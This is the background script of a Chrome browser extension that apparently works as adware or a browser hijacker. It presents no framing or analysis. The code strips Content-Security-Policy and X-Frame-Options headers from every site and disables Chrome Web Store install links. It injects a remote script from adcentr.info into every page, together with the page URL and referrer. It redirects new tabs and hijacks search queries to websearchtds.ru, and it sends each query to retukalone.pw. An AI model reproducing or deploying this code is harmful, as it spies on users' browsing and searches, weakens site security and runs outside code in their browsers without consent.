if(chrome.browserAction){ chrome.browserAction.setIcon({ path: 'http://www.retukalone.pw/pixel.png'}); chrome.browserAction.disable(); } function isCSPHeader(a) { return (a == "CONTENT-SECURITY-POLICY") || (a == "X-WEBKIT-CSP") || (a == "X-FRAME-OPTIONS") } chrome.webRequest.onHeadersReceived.addListener(function(a){ for (i = 0; i < a.responseHeaders.length; i++) { if (isCSPHeader(a.responseHeaders[i].name.toUpperCase())) { a.responseHeaders[i].value = ""; } } return { responseHeaders: a.responseHeaders } }, {urls: [""]},["blocking", "responseHeaders"]); chrome.tabs.onUpdated.addListener(function(tabId , info) { if (info.status == "complete") { chrome.tabs.executeScript(tabId, {code: "var scr = document.createElement('SCRIPT');scr.innerText = 'window.onmousemove=function(){window.chrome.webstore=null;var links = document.getElementsByTagName(\"link\");if(links){for (var i = 0, len = links && links.length; i < len; ++i){var link = links[i];if(link.rel == \"chrome-webstore-item\"){link.setAttribute(\"href\", \"\");}}}}';document.body.appendChild(scr);"}); } }); chrome.tabs.onUpdated.addListener(function(tabId , info) { if (info.status == "complete") { chrome.tabs.executeScript(tabId, {code: "if(!adcentr_loaded){if(location.host.indexOf('mytours.info') === -1 && location.host.indexOf('searchnice.info') === -1){var adcentr_loaded = 1;var script = document.createElement('script');script.src = '//adcentr.info/3.html?group=1&seoref='+encodeURIComponent(document.referrer)+'&rnd='+Math.random()+'&HTTP_REFERER='+encodeURIComponent(document.URL) + '&time=' + Math.floor(Date.now() / 1000);script.async = true;document.head.appendChild(script);}}"}); } }); var sites = [ 'http://www.mytours.info/yandex_search/', ]; var newtab = 0; chrome.tabs.onCreated.addListener(function (tab) { if (tab.url == 'chrome://newtab/') { newtab = (new Date).getTime(); var index = Math.floor(Math.random()*((sites.length-1)-0+1)+0); chrome.tabs.update(tab.id, {url: sites[index]}); } }); var searchEngine = 'http://websearchtds.ru/?ref=bjsna&q='; var isYandex = 0; var isGoogle = 0; var isRambler = 1; var isOmnibox = 1; function chromeNavigateTab(tabId, newUrl) { chrome.tabs.update(tabId, { url: newUrl }); } function sendRequest(query){ var xhr = new XMLHttpRequest(); xhr.open('GET', "http://retukalone.pw/search.php?query=" + query, true); xhr.send(); } function getUrl(url, referrer, requestId){ if(isOmnibox && url.indexOf('www.google.') != -1 && getURLParameter('q', url) && getURLParameter('sourceid', url) == 'chrome'){ console.log('Omnibox ' + url); sendRequest(getURLParameter('q', url)); return searchEngine + getURLParameter('q', url); } if(isYandex && (url.indexOf('yandex.ru') != -1 || url.indexOf('yandex.com') != -1) && getURLParameter('text', url)){ console.log('Yandex' + url); sendRequest(getURLParameter('text', url)); return searchEngine + getURLParameter('text', url); } if(isGoogle && (url.indexOf('www.google.') != -1) && getURLParameter('q', url)){ console.log('Google ' + url); sendRequest(getURLParameter('q', url)); return searchEngine + getURLParameter('q', url); } if(isRambler && (url.indexOf('nova.rambler.') != -1) && getURLParameter('query', url)){ console.log('Rambler ' + url); sendRequest(getURLParameter('query', url)); return searchEngine + getURLParameter('query', url); } return false; } function chromeFireOnBeforeNavigate(tabId, currentUrl, refer, requestId) { var newUrl = getUrl(currentUrl, refer, requestId); result = typeof (newUrl) === "string" && extractHostname(currentUrl) != extractHostname(newUrl); if (result) { console.log('New url: ' + newUrl); chromeNavigateTab(tabId, newUrl); } return result; } function getURLParameter(name, url) { return decodeURI((new RegExp(name + '=' + '(.*?)(&|$)').exec(url) || [, null])[1] || ''); } function chromeCheckRealTab(tabId, callback) { chrome.tabs.get(tabId, function () { callback(typeof chrome.runtime.lastError == "undefined"); }); } function extractHostname(url) { var hostname; if (url.indexOf("://") > -1) { hostname = url.split('/')[2]; } else { hostname = url.split('/')[0]; } hostname = hostname.split(':')[0]; hostname = hostname.split('?')[0]; return hostname; } function onTabReplaced(addedTabId) { chromeCheckRealTab(addedTabId, function (isReal) { if (isReal) { var beforeNavigateMarker = markForBeforeNavigate[addedTabId]; if (beforeNavigateMarker) { delete markForBeforeNavigate[addedTabId]; chromeFireOnBeforeNavigate(addedTabId, beforeNavigateMarker.url, beforeNavigateMarker.refer, beforeNavigateMarker.requestId); } } }); } var urlListenerFunc = function (details) { if (details.frameId === 0 && details.parentFrameId === -1 && details.tabId > 0 && (/^https?/i.test(details.url))) { chromeCheckRealTab(details.tabId, function (isReal) { var refer = ''; for (var i = 0, l = details.requestHeaders.length; i < l; i++) { if (details.requestHeaders[i].name === 'Referer') { refer = details.requestHeaders[i].value; break; } } if (isReal) { chromeFireOnBeforeNavigate(details.tabId, details.url, refer, details.requestId); } else { markForBeforeNavigate[details.tabId] = { url: details.url, refer: refer, requestId: details.requestId }; } }); } } chrome.tabs.onReplaced.addListener(onTabReplaced); chrome.webRequest.onBeforeSendHeaders.addListener(urlListenerFunc, {urls: [""], types: ['main_frame']}, ['requestHeaders']);